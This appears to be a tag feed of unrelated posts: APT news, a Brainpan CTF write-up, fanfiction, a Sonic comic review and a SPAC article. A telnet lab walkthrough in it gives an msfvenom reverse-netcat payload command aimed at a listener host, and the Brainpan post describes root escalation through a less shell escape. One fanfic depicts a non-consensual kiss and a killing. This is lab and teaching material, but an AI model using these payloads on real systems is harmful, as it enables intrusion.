#reverse shell backdoors

[zerosecurity]

Chinese APT Group Weaponizes Visual Studio Code in Sophisticated Cyberattacks

The China-linked advanced persistent threat (APT) group known as Mustang Panda has been observed leveraging Microsoft's Visual Studio Code (VSCode) software as a weapon in its arsenal of cyber espionage tools. This news comes from a recent report by Palo Alto Networks' Unit 42, shedding light on a series of attacks targeting government entities across Southeast Asia. Novel Exploitation of VSCode's Reverse Shell Feature The campaign, believed to be an extension of activities first detected in late 2023, showcases a relatively new technique in cyber warfare. Mustang Panda, known by aliases such as BASIN, Bronze President, and Earth Preta, has weaponized VSCode's embedded reverse shell feature to establish a foothold in targeted networks. Tom Fakterman, a researcher at Unit 42, explained the attack vector: "To abuse Visual Studio Code for malicious purposes, an attacker can use the portable version of code.exe, or an already installed version of the software. By running the command code.exe tunnel, an attacker receives a link that requires them to log into GitHub with their own account."

This process grants the attacker access to a web-based VSCode environment connected directly to the compromised machine, allowing for remote code execution and file manipulation. Sophisticated Tactics for Persistence and Data Exfiltration The APT group's methodology doesn't stop at initial access. Mustang Panda operatives used the VSCode exploit to deliver additional malware, conduct network reconnaissance, and exfiltrate sensitive data. The attackers also leveraged OpenSSH for lateral movement within compromised networks, executing commands, and transferring files across multiple systems. In a notable tactic, the group employed legitimate tools like the file archiver rar.exe over SMB to package and steal data from various network drives. To further obfuscate their activities, they used curl to upload exfiltrated information to Dropbox, blending malicious traffic with legitimate cloud storage operations. Potential Collaboration or Overlap with Other Chinese APTs During their investigation, Unit 42 researchers uncovered a second cluster of malicious activity occurring simultaneously within the same infected environments. This separate intrusion set utilized ShadowPad, a modular backdoor commonly associated with Chinese espionage groups. "Based on the forensic evidence and timeline, one could conclude that these two clusters originated from the same threat actor," Fakterman noted. However, he also suggested alternative explanations, including the possibility of collaboration between multiple Chinese APT groups. Implications for Cybersecurity and Government Entities The discovery of VSCode exploitation in the wild marks a significant evolution in APT tactics. Cybersecurity experts recommend that organizations closely monitor for unusual VSCode activity and scrutinize persistence mechanisms such as scheduled tasks that could indicate a compromise. The ability of Mustang Panda to abuse legitimate development tools highlights the importance of comprehensive security measures that go beyond traditional malware detection. Read the full article

[hoaqins-funk-house]

Springtrap

Yandere

Male Reader

You can read part 1 here 

You can read part 2 here

Part 3; Finale

Spinning your keys around your finger, you go to slip them into the backdoor's lock, finding that turning it was difficult. 

Far too difficult.

"Did someone break in?" You mutter, pulling the key out and beginning the walk around to the other entrance. "Well, if they did I doubt they'd stay long, not with William there."

Entering through the front, you look around the dark establishment, trying to spot if anything had been stolen or otherwise interacted with violently. With a sigh of relief at the sight of everything being normal, you fully step in, making your way through the building and wondering with a disgusted expression how William was able to walk through this place barefoot.

Turning the corner that allowed you to look into the window of your office, you see your golden-green companion looking at the door with his head tilted, an unrecognizable expression on his face.

"Yeah, the lock's broken for whatever reason." You say, his gaze shifting before his face does.

"Mhm." He walks towards you, stopping a few meters away. "Say, have you thought about me very much?"

Caught off guard by the question, you tilt your head. "Huh?"

"My existence. How I came to be trapped in a suit." He elaborates.

"Not really, to be honest… why?"

He looks into the office window, eyeing that tablet. "The suit, being an original model, incorporated these little devices known as springlocks."

Your brows furrow. You only knew of Springbonnie and Fredbear from random things online, so the inner workings of them was completely unknown to you. 

"The reason why they're called suits; the springlocks pushed back all the little bits of animatronic things that filled them, thus allowing them to be worn by employees. I, as you can tell, was one of them." His gaze shifts back to you. "However, I wasn't when I was subjected to my slow death."

He takes one small step towards you. "It was in a room known as the saferoom- ironic, isn't it- which was invisible to both cameras and the animatronics that walked around."

His lips twitch up. "I hid in there, waiting for them to come near me. When they did, I broke them. They all came, and all of their shells were destroyed."

Shells? Destroying the animatronics?

You watch as he takes another step forward, this one larger. 

"But, the ones inside those shells weren't so easily deterred."

Ones inside…? 

"They chased me. Forced me into hiding in the suit. They wanted revenge; wanted me dead."

He takes a few larger steps, now within arms length. You, however, grow uneasy, stepping back. His eyes stay locked with yours, a soft grin on his lips. 

You truly do look like his prey.

"I don't blame them. After all, who wouldn't want their murderer dead?" 

Your eyes widen as your suspicions are proven correct. When he takes a step forward, you do the same in reverse. If you look away for one moment, he'll catch you. You've seen his speed.

His eyes glow in the dim light, lips curling into a nightmarishly wide grin.

"Oh, it seems you've figured out my big secret. Does it change your view of me? Would you still wake up on top of me so calmly?" He laughs. "Would you still let me rest my head on your hand? Would you still so easily approach me?"

You were wrong last night. Dead wrong.

He's terrifyingly monstrous, even as a human.

"Well, I suppose my last question has already been answered." With a small chuckle, he jolts forward, you ducking to the side right before he could reach you and dashing off. He glances your way during his brief pause, expression horrifyingly giddy.

 His steps are loud behind you, and you only manage to reach cam 6 before arms cage you in against the wall, you turning to face the grinning man as you push yourself up against the wall as if trying to force yourself through it.

He lifts his hand, placing it on your chin and using his thumb to brush over your cheek. "You're too adorable. You really are like… my prey."

God, the fear in your eyes…

His grin widens a bit more, and his hand slips to the front of your chin. You clench your eyes shut, hearing a gruff laugh before his chapped lips connect with your own. You tense, feeling his other hand grip your wrist, applying more and more pressure until you let out a pained noise, him taking the chance to slip his tongue into your mouth.

Your eyes stay shut until he finally separates, where you reluctantly open them once more, finding a very satisfied-looking William and a small string of saliva temporarily connecting your tongues. "Don't worry. It's not the end of us after just that." He assures.

The hand previously on your chin shifts to your hip, where his fingers press somewhat harshly against the cloth, holding you in place further. Leaning in once more, he grins at the tiny whimper that escapes you. Redirecting himself, he instead aims for a much more sensitive area.

You let out a gasp as you feel his lips against your neck, quietly hissing as he harshly bites down, his sharp canines drawing blood. After he has his fill of that, he follows it up by sucking on the spots he had just bit, you feeling your heartrate pick up even more. 

The sound of your heavy, stuttering breaths in his ear certainly doesn’t discourage the man.

Still, he leans back, enjoying the sight of your reddened face as you reach up, covering your neck with your free hand. This, of course, wouldn’t be the end, but he needs to save the rest for later. 

He steps back.

His grip on your wrist, while looser than before, is still firm as he begins to walk you back to the hall in front of the office. "Now, I have a little game for us to play. We've done it before, so I won't explain the rules. If you make it to 6, I'll let you leave. But if you don't…" He pauses, glancing over his shoulder at your panicked face, which he responds to with a smile. "Well, I'm sure you can guess."

Standing in front of the entrance to the office, he waits for you to hesitantly enter. 

"As usual, I'll start in the back. Don't even try to escape, it's not gonna work. I broke the lock and that door isn't going to be breaking from anything but power tools."

You give a small nod, eyes shifting to the chair.

"Well, good luck. You'll most definitely need it." 

You don't react to his voice, walking towards the chair as he begins his walk back. 

You turn on your phone, checking the time and finding that fifteen minutes have already passed. 

You can't call for help, if anyone came in they'd be killed by him. If he lived through an endoskeleton being shoved into him, he'll live through pretty much anything.

Still, you text your brother quickly.

You put your phone down, not caring about the wave of notifications that came from him spamming trying to get you to respond.

Pulling the camera pad out, you switch to where he normally starts right as he walks in. He sends a chilling smile up at the camera, eyes eerily glowing within the shadows. 

"Let's begin!" He calls. 

Immediately, your eyes widen as he reaches up, ripping the camera right off of the wall.

You feel your breathing pick up again as your heart pounds out of your chest. 

You aren't going to make it. 

When he dashes into the next room, you lead him back. He snarls. Briefly, before cam 10 gets ripped off of the wall, you see him glance at the vent.

Thankfully, he ignores it, running into the next room before you hit him with the sound again, rebooting audio and cameras tight as they go out. 

"Fuck that guy for making this shit so 'authentic' it breaks down every two seconds!" You mumble to yourself. 

William tears cam 8 down, running out once more. When you manage to catch him, he's in cam 4, and you lead him back with more audio. 

"You won't keep this up, you know! You'll run out of cameras!" He laughs, the sound echoing in the building.

You frown as cam 5 goes out. You lead him back further, hearing the thumping of the vents and quickly switching your cameras to them, sealing off a vent thankfully just in time. His grin drops.

You check the time. 

It's 2. 

5 of 10 cameras have already been torn down, and you are unable to play audio from them.

He gets out of the vent surprisingly quickly, continuing his race to you. 

When he reaches another vent, you block it off before he reaches the end. He rips off a camera that you haven't even used yet upon getting out. As soon as he sees cam 3, he rips it off as well.

You see the first sparks.

You lead him back again, he charges again. 

The cameras start it.

You lead him back again, he charges again.

Soon enough the back half of the building is in flames, swallowing everything and coming for you faster than William could.

You have nowhere to lead him to but right outside your door, and he disappears. 

Completely. 

Not in any cameras, not in any vents, and not in your vision.

The smoke began to pile into your room, so you rip off a sleeve of an old jacket that was left and tie it around your nose and mouth, getting out of your chair to stay lower to the ground.

Frantically, you switch through everything again, continuing to look for him, but turning your head to the sound of a grate both thrown aside. 

He went through the break room.

There, you meet eyes with William, who seems to be doing just fine in the intense heat that fills the attraction.

You quietly gasp, grabbing your throat as smoke fills it even with the makeshift cover. You wince, ripping the cloth off, finding William about three meters from your office. Frantically, you reach towards the vent close button, but when you press it, you hear the sound of failing machinery.

It was broken. 

He broke it the first night, and now you would die because of it.

Blindly grasping for your phone, you send another message to your brother.

'Get fire help' is all you could type out before William pins you to the ground, you barely managing to send it. 

Grabbing your phone out of your hand, William carelessly throws it into the wall, you wincing at the crunching noise. 

"You know, back when I was alive, I did much research on souls. Every soul contains this little thing known as 'Remnant.' Now, Remnant is the only reason I'm alive. There's no way to destroy it, except for fire."

Your eyes widen. 

"This building won't get hot enough to completely destroy our Remnant, so don't worry about that. Still, think of it like a metal. When it gets hot enough, it melts. It can meld into other people's Remnant."

You clench your teeth.

"Of course, there's no way I am going to destroy you. So, instead, I think I'll go with another option." He smirks. 

You can feel your vision get hazy.

"Within this fire I will preserve your warmth, and we will be welded together."

Your lids droop as you feel your breaths become raspy. 

You're going to die to the smoke, not to the fire that roared outside of your office, slowly inching its way in. 

You let out a few more wheezes, feeling lips against your own before your vision goes black.

-

He gets the news less than an hour after he calls the fire department.

His brother, the only immediate family he had left, had died in the fire. 

It doesn't take much thinking to figure out who did it. 

William. 

That man, that murderer, is going to pay.

However long it takes.

-----

i did not plan this out right this part is a lot shorter than it should be but ehh whatever

whoop whoop it is done… I mean I have a sequel planned but either way, this part of the story is done

See ya later :)

[mobius-prime]

227. Sonic the Hedgehog #159

System Reboot

Writer: Ken Penders Pencils: Ron Lim Colors: Josh & Aimee Ray

All right everyone, we've finally made it! After 213 long issues of having him around sticking his fingers into everything, we've reached the final issue that Ken Penders ever wrote for the Archie Sonic comics! Interestingly enough, this isn't actually the final issue he had a hand in entirely - he inked and lettered one final story several issues from now - but since this is the final one he actually wrote, this is where we'll be saying our goodbyes to him. And so soon after Karl left, too! Those of you who know the comics likely know what's coming next issue, so we might as well tear through this one to get to it! Kenders, with your final issue, show us what you got!

So last issue saw Hope lying on the floor injured and unconscious from a blow to the head, and Shadow threatening Sonic if she dies. Sonic then does the most level-headed and reasonable thing a person could do in this situation, meaning he immediately gets offended and attacks Shadow, and they both start punching and throwing each other around while hurling insults in each other's faces. Rosie is quite understandably disgusted with their behavior, and shouts at the both of them to stop at once.

About time! In his lab, a distraught Uncle Chuck reviews the Metal Sonics' technical specifications before lamenting ever creating them in the first place. Rotor reassures him that what's happening now isn't his fault, and reminds him that it's not necessarily the inventor's fault what others choose to do with the invention, obviously hinting at his past with the roboticizer as well. Eggman, meanwhile, finds himself in awe at the sheer destructive potential of the bots, admiring their reckless destruction of Knothole without regard to the citizenry that get in their way, but rather disappointed that he himself didn't come up with these particular models. Shadow, chasing after Sonic, is still worried that they may not reach the doctor in time to save Hope, and he feels a particularly strong connection to her due to her resemblance to Maria, as well as the compassion she showed him back when Locke kidnapped him. This gives him the strength to once again use his Chaos powers in a way he… apparently still doesn't understand. C'mon, Shad, this is hardly the first time you've used Chaos Control, surely you should recognize it!

At Castle Acorn, Elias and Antoine, standing on lookout, are dismayed to see that the Metal Sonics haven't been stopped on their rampage through the center of Knothole, and are on a straight course for the castle where everyone is sheltered. Shadow's Chaos portal abruptly opens behind them, and Sonic hands Hope over to Dr. Quack for treatment, something Shadow begrudging accepts as being the best they can do for now. Sonic, thoroughly annoyed by now at having to deal with such a menace modeled after himself, races back out to fight the rest of the Metal Sonics still bearing down on the castle, and Shadow follows him once again, not content to be left out of the fun. Sonic does his best to take down the attacking force with a whirlwind of his own, but it barely leaves them rattled, and he begins taking some nasty blows, clearly losing the fight. Shadow, coming up on the scene, realizes that despite all their differences he can hardly leave Sonic here to die like this, and raises his hand, emitting another blast of energy that immediately disables all the remaining robots.

Honestly, I'm a little weirded out by the idea of Knuckles of all people explaining stuff like Chaos Control to Shadow, given how hard that role is reversed in the games, with Shadow knowing a lot more about Chaos powers and Knuckles being an isolated loner with no proper knowledge of his heritage or the extent of his abilities. Anyway, with the day saved, Sonic reenters the castle to find Elias holding a medal which he has apparently pulled directly from his ass given the speed with which he's managed to produce it, or otherwise he's just had an award with Sonic's name on it sitting around for a long while for just such an occasion as this. He's awarded the title of Gentleman-At-Arms, something which comes with many privileges that Elias promises to explain later, and then… it's party time! Everyone weirdly acts as though this has been the biggest threat their society has ever faced, despite the fact that barely a year ago a malevolent alien force that had already eliminated civilization on this planet once before tried to suck the entire planet into a black hole, but whatever, we can let them have this one. But what of Shadow? Is he just standing around outside broodi- yeah he's totally standing around outside brooding.

…sorry, Chuck, but what the hell does that mean? What secrets do you apparently hold that are so important that you feel like you have to deviously hide them from Shadow? Like… it's such an ominous-sounding line that means absolutely nothing. By the way, this is where the story ends - absolutely no explanation is given for why the Metal Sonics went on a rampage the way they did. I mean, we know that someone targeting Eggman activated them and sent them after him, but halfway through the story they just kind of switched targets from Eggman to All Of Knothole for seemingly no reason. I suppose you could just say their programming got too scrambled to tell an innocent from their target, but honestly they feel more like a plot device intended to let Shadow discover his own abilities, and therefore something that wasn't well thought out and will be forgotten about by the next issue.

The Despicable Dr. Robotnik: Insidious

Writer/Pencils: Ken Penders Colors: Josh & Aimee Ray

Well, after all the excitement of the previous day, Eggman is looking to recoup at least some of his losses. A.D.A.M. is thankfully online once again, and despite Eggman's sour mood, A.D.A.M. hopes to cheer him up with some good news. He draws Eggman's attention to the nanite fiasco of a few issues ago, and while Eggman is initially unimpressed with him bringing up one of his failures, his interest is piqued when A.D.A.M. demonstrates that the signals the nanites send between themselves can be intercepted by their own equipment here in New Megaopolis. This gives them a direct backdoor into the dealings inside Knothole, and Eggman watches in fascination as A.D.A.M. manipulates some of the nanites in real time while Tommy, Jules, Chuck, and a few others run experiments on them.

Under Eggman's guidance, A.D.A.M. directs small quantities of nanites to "infect" first Jules, then Bunnie, with those two being the main targets due to their inorganic body parts. However, when Eggman tries to order Sonic himself to be bugged, A.D.A.M. points out that since he's organic he can't bond with the nanites, which kind of seems to go against the idea of Tommy doing just that…

See, this bugs me, because I actually put thought into the whole "this is why the nanites can bond with Tommy's shell now" thing, and yet here it's discarded in favor of "I don't know, shells aren't organic or something"? Yes they freaking are, Penders! I researched it! I learned more than I ever thought I needed to know about the biological composition and evolution of turtle shells just to make sure my one little comment about Tommy's shell bonding with the nanites would be accurate! Granted, I get that Mobians aren't exactly the same as the animal species they're descended from, but you'd think the shell of a Mobian turtle would count as similar at least. *sigh*

Well, on that somewhat anticlimactic note, we've finally reached the end of Ken Penders' tenure as head writer for these comics. It's been… well, I feel like saying it's been a wild ride would be a bit of an understatement, but the sentiment is there, at least. And while I know he hasn't been a popular writer among many fans, and I've had my own fair share of criticism for his work (especially the later stuff), I still think it's appropriate to recognize the many good things he brought to the comic, especially the characters and plot points that have by now become mainstays in the world of the preboot. That said, now that we're moving on from the Era of Penders, a lot of the most controversial stuff in the comic is behind us, and we have a bright, interesting, and well-written new future to look forward to! Hope everyone is ready for the excellence that is Ian Flynn, cause here he comes!

[c-cracks]

Brainpan 1

Over the last couple of weeks I have been working on Brainpan- the first in a series downloadable on VulnHub. It usually receives a difficulty rating of intermediate a bit easier than I like to go for but it's recommended by many as an ideal series for both OSCP prep and getting to grips with executing buffer overflow attacks. It's definitely not a challenging machine: you really only need knowledge of directory enumeration and port scanning to discover the binary you need to crack and the binary itself takes very little effort to pwn (the function containing the two needed gadgets is actually hinted at.) After delivering the buffer overflow attack remotely to Brainpan and opening a backdoor to the VM (reverse shell|bind shell,) you're greeted with the final challenge of privelage escalation; in the case of Brainpan 1 this is not a difficult process if you're familiar with what to look for. All in all it's a short and sweet challenge and I did learn more about buffer overflow (as this was my second experience with this)- I even pwned myself locally using a different method of attack I believe is referred to as Ret2Kernel32 (similar concept to Ret2Libc,) I have the code to this but it's pretty much useless as the physical addresses didn't match up. I will now describe the process of rooting Brainpan 1, in addition to an explanation of my local exploit. I will be focusing on buffer overflow for the next few months as I'm still at script kiddy level and I would have taken longer to root Brainpan without the 'winkwink' hint.

Information Gathering

This shows us that there's only two public facing services on Brainpan- A web server listening for HTTP traffic on port 10000 and a service Nmap will identify as Abyss. Our information and vulnerability to exploit is evidently present on these two services. Upon visiting port 10000 though HTTP, you're greeted with a simple image- nothing really to check manually here. Visiting port 9999 reveals Brainpan in ASCII art with ACCESS DENIED already present. Port 9999 can also be accessed via Telnet or TCP (e.g. through Netcat.) Now the best way to proceed from this point would have been to run a Nikto scan on the SimpleHTTPServer; I instead proceeded to run DirBuster which revealed the presence of the 'bin' directory and a file named Brainpan.exe (still working on my organization don't judge. xD)

Exploit Development and Opening Backdoor

strings -a -t x brainpan.exe

Shitstorm was the intended password, leading to ACCESS GRANTED; the process is killed after generation of this output thus I didn't think using it was of any relevance.

objdump -D brainpan.exe

I decided to manually fuzz the exe through Winedbg (though I think I’ll be using a tool for this in the future) which reveals that the binary crashes after the buffer is filled with 520 bytes. I spent a majority of my time cracking the binary: I cracked it locally relatively quickly as I've done a ret2libc attack before thus I was already familiar with those sorts of methods; I made the mistake of assuming the dll.so would have the same physical addresses in both machines (or that the kernel32.dll.so was even the same...) Finally, after some trial and error I came to the conclusion that using the gadgets within 'winkwink' would probably place my shellcode at an executable location on the stack (because of the name for one; the second gadget caught my eye due to the 'pop ebp ; ret' instruction)

Privilege Escalation

With our backdoor open we can now proceed to escalate our privileges. This is not a difficult process in the case of Brainpan if you're aware of what to look for. A simple

sudo -l

will reveal an exploitable oversight present within the system:

Anansi_util will be executed with the SetUID binary set, meaning it will run with the user ID of the binary's owner (guess who this is?) We just need to discover if the binary uses any utilities or commands that will allow us to execute Bash as root. A brief test of the three possible arguments to the binary reveals the use of less- less offers the possibility of executing '!sh' in order to open /bin/sh as a child process. Thus, use of !sh should lead us to root shell access:

From here, I simply changed root's password and logged in via su.

My Local Exploit

The below worked on my version of Kali Linux when the exe is being executed through Wine:

Conclusion

So, Brainpan was definitely a useful experience for me: it was my first exposure to an x86 Windows binary as my first B/O was ELF x86_64 and I've never escalated my privileges through less before. I would definitely recommend rooting it if you're new to buffer overflow and your intention is to develop your knowledge on B/Os. I'll be doing more buffer overflow challenges as I would have liked to develop the exploit based on knowledge rather than trial and error: I've since looked at other walkthroughs for Brainpan and my exploit is different as I believed it was more practical to store the NOP sled and shellcode within the buffer (as the value is being used in strcmp it shouldn't logically be overwritten until after our exploit has executed) and then to pop this value to the stack. There's also many tools I didn't use (e.g. ROPgadget) that may have inspired me if I hadn't forgot about them and I want to improve my speed with these attacks.

[sentientcitysurvival]

Digital and Physical Threat Assessment in the Cyber Age

DIGITAL THREAT ASSESSMENT SQL injection Reverse Shell Wiretapping Malware Spyware Ransomware Trojans Viruses Worms Rootkits Bootkits Keyloggers Screen scrapers Exploits Backdoors Logic bombs Payloads Denial of service Web shells Phishing Styleometry

PHYSICAL THREAT ASSESSMENT Social engineering Dumpster diving RF scanners Card skimmers Lock picking Digital lock circumvention Eavesdropping Facial recognition Smart network exploitation

[learningcyber-tom]

Enumerating and exploiting telnet

Normal nmap scans come back with nothing use -p-

to scan all ports rather than the first 1000 with -T4

nmap -T4 -p- 10.10.107.245 

this shows port 8012 open

nmap -A -p8012 10.10.107.245

the scan of port 8012 shows the text Skidy’s Backdoor

telnet 10.10.107.245 8012

this connects us to the machine via telnet there is no return input when typing.

on local machine start tcpdump listener to see if we can ping our machine from telnet

sudo tcpdump ip proto \\icmp -ieth0

then send local machine ping from telnet

.RUN ping 10.10.167.83

Ping is recognised, so now i generate a reverse shell payload with msfvenom

msfvenom -p cmd/unix/reverse_netcat lhost=10.10.167.83 iport=4444 R

-p payload

lhost our local host ip

iport the port to listen on 

R export payload in raw format

This generates code on my local machine to copy and insert in telnet after making a netcat listening port  

nc -lup 4444

in telnet .RUN and paste text 

once the shell is received type 

ls

cat “flag.txt” 

fin.

[awesomeforever]

A threat actor tracked as Polonium has been linked to over a dozen highly targeted attacks aimed at Israelian entities with seven different custom backdoors since at least September 2021. The intrusions were aimed at organizations in various verticals, such as engineering, information technology, law, communications, branding and marketing, media, insurance, and social services, cybersecurity firm ESET said. Polonium is the chemical element-themed moniker given by Microsoft to a sophisticated operational group that's believed to be based in Lebanon and is known to exclusively strike Israeli targets. Activities undertaken by the group first came to light earlier this June when the Windows maker disclosed it suspended more than 20 malicious OneDrive accounts created by the adversary for command-and-control (C2) purposes. Core to the attacks has been the use of implants coined CreepyDrive and CreepyBox for their ability to exfiltrate sensitive data to actor-controlled OneDrive and Dropbox accounts. Also deployed is a PowerShell backdoor dubbed CreepySnail. ESET's latest discovery of five more previously undocumented backdoors brings into focus an active espionage-oriented threat actor that's constantly refining and retooling its malware arsenal. "The numerous versions and changes Polonium introduced into its custom tools show a continuous and long-term effort to spy on the group's targets," ESET researcher Matías Porolli said. "The group doesn't seem to engage in any sabotage or ransomware actions." The list of bespoke hacking tools is as follows - PapaCreep, spotted as recently as September 2022, is a modular malware that contains four different components that are designed to run commands, receive and send commands and their outputs, and upload and download files. The Slovak cybersecurity firm said it also uncovered several other modules responsible for logging keystrokes, capturing screenshots, taking photos via webcam, and establishing a reverse shell on the compromised machine. Despite the abundance of malware utilized in the attacks, the initial access vector used to breach the networks is currently unknown, although it's suspected that it may have involved the exploitation of VPN flaws. "Most of the group's malicious modules are small, with limited functionality," Porolli said. "They like to divide the code in their backdoors, distributing malicious functionality into various small DLLs, perhaps expecting that defenders or researchers will not observe the complete attack chain." Sign up for cybersecurity newsletter and get latest news updates delivered straight to your inbox daily. source

[hydronahas]

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If you are using a recent OnePlus or Google Nexus Android phones then install the Linux Deploy Android app to utilize the Kali Linux by installing the chroot environment. Through Linux Deploy, you can execute the Kali Linux distribution on your Android device. The base Kali Linux ISO image will not include the graphical interface or any tools for access but make use of the apt commands for easy installation. Just input the keyword “ kali” within the command prompt or access the Kali tile within the Start menu for launching the Kali shell application. The Kali Linux for Windows 10 application will allow the users to install and executer the penetration testing distribution of native open-source Kali Linux. The perfect and effective hardware backdoor can be formed by building the network bridging, reverse VPN auto-connecting, and a self-installing Kali Linux ISO image. The Live-build integration with Kali Linux will provide customized Kali Linux ISO images with various aspects and personalized flexibility. Later, this Kali Linux ISO download can be utilized for installation purposes.

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The Kali Linux ISO with full customization & live-build will allow the users to create their unique Kali Linux images. It is slick, beautiful, and full of new features. Cinnamon is primarily developed for and by Linux Mint. DriverPack Solution Offline ISO Download The most popular version of Linux Mint is the Cinnamon edition.

[hackgit]

[Media] ​​Amlele Backdoor

​​Amlele Backdoor Amlele Backdoor is One-Client Open Source Backdoor/Reverse-Shell For Each Linux And Windows Systems Made In Python3 Which Contains Limited Features. Features: ▫️ Send Commands To A Client ▫️ Capture Screenshot ▫️ Windows Persistence ▫️ Download Files ▫️ Upload Files ▫️ Get The Current Working Directory ▫️ Get The Machine Infos ▫️ Download Files Over Internet https://github.com/amaitou/4ML3L3-Backdoor

[hackernewsrobot]

Boopkit: eBPF backdoor (TCP) for spawning reverse shells

https://github.com/kris-nova/boopkit Comments

[hknd123321]

Advantages and Risk Analysis of SPAC Listing Model

Judging from the theoretical and practical experience of SPAC listing in the United States, the SPAC listing model can bring unprecedented advantages to all parties involved in the transaction, but it also brings a certain degree of potential risks to investors. (1) Analysis of the advantages of SPAC listing First, for the target company, the SPAC provides a favorable way to raise funds without the need for its own IPO. Since the SPAC has been listed, as long as the target company reaches an M&A agreement with it, the listing goal can be achieved through a reverse takeover. It saves a lot of listing time and listing costs for the target company, which is very suitable for small and medium-sized enterprises to raise funds. And compared with the traditional backdoor listing, SPAC has no business plan and substantive business, and only takes merger as its only plan, so there will be no liabilities and related legal disputes, and the shell resources are very "clean", which is easy to pass regulatory approval. Second, for the management team, SPACs provide a new profit model, which is ideal for managers who have operating experience and do not have a business for the time being. Although managers of SPACs generally do not receive wages, they do not have to pay costs. The management's insurance, legal, accounting service expenses, negotiation, office and other expenses are all included in the "company operating costs", which are paid by the funds raised by the SPAC. And since managers often hold a certain amount of SPAC shares, if the transaction is successful, the combined company's share price is likely to rise sharply, bringing huge potential benefits to the management team. Finally, for investors, SPACs provide a way to participate in private equity without investing a lot of money. If the transaction is successful, the investor may obtain the shares of the company listed on the main board and thus make a profit; if the transaction fails, the investor's investment principal will be returned within 24 months, and the interest of the corresponding period will be obtained, and the investment risk is relatively high. small. (2) Risk analysis of SPAC listing While SPAC listings offer significant cost savings, like other listing models, they remain a high-risk stock market transaction for investors. In the process of SPAC fundraising, due to the lack of a business plan, investors’ investment firms are like choosing a blind box. They cannot know when the company will complete the merger, and they cannot know in advance the future mergers and acquisitions companies. Any information, so they can only hope that the SPAC management has the expertise, this investment behavior is essentially like a gamble on whether management can make sound business judgment. It is very likely that management will try to bring about a bad deal from the perspective of maximizing its own interests. Jay Ritter, a professor of finance at the University of Florida, once pointed out: "Because of the existence of the transaction deadline, management has every incentive to make the transaction complete. , because if the deal doesn’t go through, the SPAC will return the money raised, and if it does, they could potentially reap huge potential gains.” Therefore, in the face of the incentive of potential benefits, in order to complete the merger within a fixed period, the management may complete the merger at an unreasonable price, thereby harming the interests of investors. If the transaction fails, the investment fee and the interest generated during the corresponding period will be returned to the consumer, which is an investor protection mechanism that can minimize investor losses. However, the negotiation, office and other operating costs paid by the management in this process will be removed from consumer investment. 18 to 24 months is not a short time, and this process will greatly waste the opportunity cost of investors.

[kalilinux4u]

@TheHackersNews : RT @TheHackersNews: Researchers from @AlienVault have published a new post detailing new malware, dubbed GZipDe, which uses: —custom encryption to evade detection —reflective DLL injection for file-less infection —drops Metasploit backdooring payload to gain reverse shell https://t.co/uEy0xkRH1P https://t.co/8OKJqxlfzw

[renaroo]

The Things That Wait (1/4)

Disclaimer: Red vs Blue and related characters are the property of Rooster Teeth. Warnings: CHARACTER DEATH, Language, Canon-typical violence, Psychological manipulation and trauma Rating: T Synopsis: [Reverse Big Bang Entry] Tucker opens an unexpected email that ends up sending himself and all of the Reds and Blues toward a collision course with the unexpected and the completely deadly. In doing so, they face a beast familiar to many of them -- the Meta -- whose single minded efforts to complete himself with what remains of the Project Freelancer AIs could spell the death for more than a few of them..

A/N: AT LAST! My entry for the Reverse Big Bang held by @rvbficwars in collaboration with my sister from another mister, always lovely and enjoyable beyond compare @theeffar who made me SO pleased by giving me an excuse to create a real Horror Story for an RvB fic -- the one genre I’ve really wanted to try out in RvB but have so far -- until right now -- not had the opportunity for!

The Reverse Big Bang was a blast and working with Effar is, as always, a blast. So very much thank you to the other mods of the blog for running such a smooth, tight ship and for working with me in all my silliness and the confusion of the last few weeks as I tried to straighten out my evolving situation. 

The final wordcount for this chapter is 5454 exactly, and the overall wordcount for this four-part fic should be 24k! So YAY! I hope it’s as enjoyable to read as it was to write!

Starting at Zero

One thing they neglected to tell Tucker about being promoted and reassigned was just how fucking boring it was going to be. Which one wouldn’t have thought because, for one, he was having to work with the exact aliens that had been trying to wipe out the entirety of the human race for the whole Great War. That, alone, should have been full of excitement.

But fighting aliens was a lot less dangerous than being worshipped by them, and as much as Tucker’s self-proclaimed ego might have determined otherwise, he was not enjoying the constant drooling of four-jawed creatures who were constantly trying to touch his kid.

Which was weird and creepy.

The other thing they hadn’t told him about his assignment was that he was not the only one to be sent on it. That, as it turned out, happened to be one of the nicer surprises. What with Donut not being the least likable person on the planet. Even for a Red.

Not that Reds and Blues were real.

Maybe that was why they assigned him to the stupid desert in the middle of nowhere. The fact that he could not pretend that Reds and Blues were still a thing, even when Caboose and Church didn’t act like Tucker had more than proven his point.

Somewhat paranoid, Tucker wondered if that had put him on some kind of blacklist. Which didn’t make sense — they promoted him to Private First Class and gave him a cushy job that was basically hanging out with his kid and babysitting some touring diplomats. Even if it had meant all but freakin’ dehydrating in the desert, that was a lot better off than most of the crew from Blood Gulch had been.

He thought. Maybe.

Tucker wasn’t really good with details at the moment.

Especially when he was sitting by his sleeping son, boredly playing solitaire through his HUD, and wondering idly if their alien tourists would get bored of the sand covered pyramids yet so they could move on to a different, better part of the planet.

Like one where actual women were stationed.

After all, last he saw Kaikaina she was still in Blood Gulch and making him pay ransom for the nudes she took of his tramp stamp. And lat he saw Tex…

Well, last he saw of Tex, the closest thing he had to a non-guy friend, she had gone evil, kidnapped his son, and blown up a ship to disappear forever.

Tucker’s life was fucking weird.

He was mulling over the details, and some fleeting thoughts of his career, when the solitaire matte before his eyes suddenly exploded into a flash of white that too him off guard.

The surprise of it made him jump, which only served as an annoyance later when he was left with the realization that it was just a new email alert popping up over his helmet’s HUD.

“Ugh, that’s fucking annoying,” he decided before checking on the email anyway.

While he didn’t exactly have any expectations for what the email was going to pertain to, nothing could have surprised Tucker more than the answer he got. His debit card’s automatic payments had been declined.

“What the hell,” Tucker said out loud, straightening up and glaring at the email before attempting to open his military payroll.

His small utterances had been enough to cause Junior to roll over and sleepily yawn, his rows of teeth clattering together as he did so. The little alien child was looking at Tucker a little bit expectantly.

“Sorry, bud, just go back to sleep,” Tucker tried to assure his kid only for his body to go rigid at the next alert he received. Account not found. “What the…”

Junior woke up even more, sitting up in his bed and chattering nonsense alien blabber at Tucker that he couldn’t be bothered to translate. He then leaned in, looking even more concerned.

“Hold on a sec, kiddo,” Tucker all but ordered before looking over from their bunks to Donut’s bunks. “Hey! Psst! Donut! Donut, wake up! There’s something up with our accounts! Money’s not getting transferred or some bullshit! Do you know how much debt I’ve got riding on being paid off by automatic payments? I’ll give you a preview: it’s fucking staggering!”

